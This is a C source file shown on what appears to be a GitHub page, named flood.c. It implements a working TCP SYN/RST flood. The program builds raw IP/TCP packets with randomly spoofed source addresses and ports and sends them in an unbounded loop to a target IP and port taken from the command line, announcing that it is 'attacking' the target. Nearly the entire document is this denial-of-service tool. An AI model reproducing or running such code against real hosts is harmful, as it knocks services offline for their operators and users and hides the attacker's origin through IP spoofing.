-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathflood.c
227 lines (196 loc) · 6.42 KB
/
flood.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
#include "flood.h"
#include <arpa/inet.h>
#include <errno.h>
#include <getopt.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>
#define DEFULT_IP "127.0.0.1"
#define DEFULT_PORT 80
int countOfPacket = 0;
int sending = 1;
char source_ip[32];
struct pseudo_header // for checksum calculation
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
// random number for port spoofing(0-65535)
int randomPort() { return rand() % 65535; }
// random number for IP spoofing(0-255)
int randomForIp() { return rand() % 255; }
// IP spoofer
char *randomIp() {
strcpy(source_ip, "");
int dots = 0;
while (dots < 3) {
sprintf(source_ip, "%s%d", source_ip, randomForIp());
strcat(source_ip, ".");
fflush(NULL);
dots++;
}
sprintf(source_ip, "%s%d", source_ip, randomForIp());
strcat(source_ip, "\0");
return source_ip;
}
int validIp(char *ip) {
struct sockaddr_in sa;
return inet_pton(AF_INET, ip, &(sa.sin_addr)) != 0;
}
// interrupt for Ctrl+C command
void sigintHandler(int sig) {
sending = 0;
printf("\n%d [DATA] packets sent\n", countOfPacket);
exit(0);
}
unsigned short checksum(unsigned short *ptr, int nbytes) {
register long sum;
unsigned short oddbyte;
register short ans;
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((u_char *)&oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
ans = (short)~sum;
return (ans);
}
int main(int argc, char *argv[]) {
int destination_port = DEFULT_PORT;
char destination_ip[32] = DEFULT_IP;
int flagRst = 0;
int flagSyn = 1;
int opt = 0;
srand(time(0)); // gives the random function a new seed
signal(SIGINT, sigintHandler); // send interrupt for Ctrl+C command
while ((opt = getopt(argc, argv, "t:p:r")) != -1) {
switch (opt) {
case 't':
strcpy(destination_ip, optarg);
if (!validIp(destination_ip)) {
printf("[ERROR] invalid ip - Program terminated\n");
exit(1);
}
break;
case 'p':
destination_port = strtol(optarg, NULL, 10);
if (destination_port < 0 || destination_port > 65535) {
printf("[ERROR] invalid port - Program terminated\n");
exit(1);
}
break;
case 'r':
flagRst = 1;
flagSyn = 0;
break;
default:
printf("[ERROR] Program terminated\n");
exit(1);
}
}
printf("[DATA] Flood is starting...\n");
// Create a raw socket
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
// Datagram to represent the packet
char datagram[4096];
// IP header
struct iphdr *iph = (struct iphdr *)datagram;
// TCP header
struct tcphdr *tcph = (struct tcphdr *)(datagram + sizeof(struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
sin.sin_addr.s_addr = inet_addr(destination_ip); // set destination ip
sin.sin_port = htons(5060); // socket port
sin.sin_family = AF_INET; // set to ipv4
memset(datagram, 0, 4096); /* clean the buffer */
// IP Header
iph->ihl = 5; // header length
iph->version = 4; // Version
iph->tos = 0; // Type of service
iph->tot_len = sizeof(struct ip) + sizeof(struct tcphdr); // Total length
iph->id = htons(54321); // Id of this packet
iph->frag_off = 0; // Fragmentation offset
iph->ttl = 255; // Time to live
iph->protocol = IPPROTO_TCP; // Protocol tcp
iph->check = 0; // Set to 0 before calculating checksum
iph->daddr = sin.sin_addr.s_addr; // set source IP
// TCP Header
tcph->dest = htons(destination_port); // Destination port
tcph->seq = 0; // Sequence number
tcph->ack_seq = 0;
tcph->doff = 5; /* Data offset */
tcph->fin = 0;
tcph->syn = flagSyn;
tcph->rst = flagRst;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->window = htons(5840); /* maximum window size */
tcph->urg_ptr = 0;
// IP checksum
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
// tells the kernel that the IP header is included so it will fill the data
// link layer information.
// Ethernet header IP_HDRINCL to tell the kernel that headers are included
// in the packet
int one = 1;
const int *val = &one;
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
printf("[ERROR] number : %d Error message : %s \n", errno,
strerror(errno));
fprintf(stderr, "Program needs to be run by "
"Admin/root user\n");
exit(1);
}
printf("[DATA] attacking ip %s on port %d and RST flag is %d...\n",
destination_ip, destination_port, flagRst);
while (sending) {
iph->saddr = inet_addr(randomIp()); // random ip the source ip address
iph->check = checksum((unsigned short *)datagram,
iph->tot_len >> 1); /* checksum for ip header*/
psh.source_address =
inet_addr(source_ip); /*update source ip in IP checksum*/
tcph->source = htons(randomPort()); /*random spoof port */
tcph->check = 0; /*checksum is set to zero */
memcpy(&psh.tcp, tcph, sizeof(struct tcphdr));
tcph->check =
checksum((unsigned short *)&psh,
sizeof(struct pseudo_header)); /* checksum for tcp header*/
/*
Send the packet:our socket,the buffer containing headers and data,total
length of our datagram,routing flags, normally always 0,socket addr, just
like in,a normal send()
*/
if (sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin,
sizeof(sin)) < 0) {
printf("\n[ERROR] Program terminated\n");
exit(1);
} else {
// sent successfully
countOfPacket++;
}
}
close(s);
return 0;
}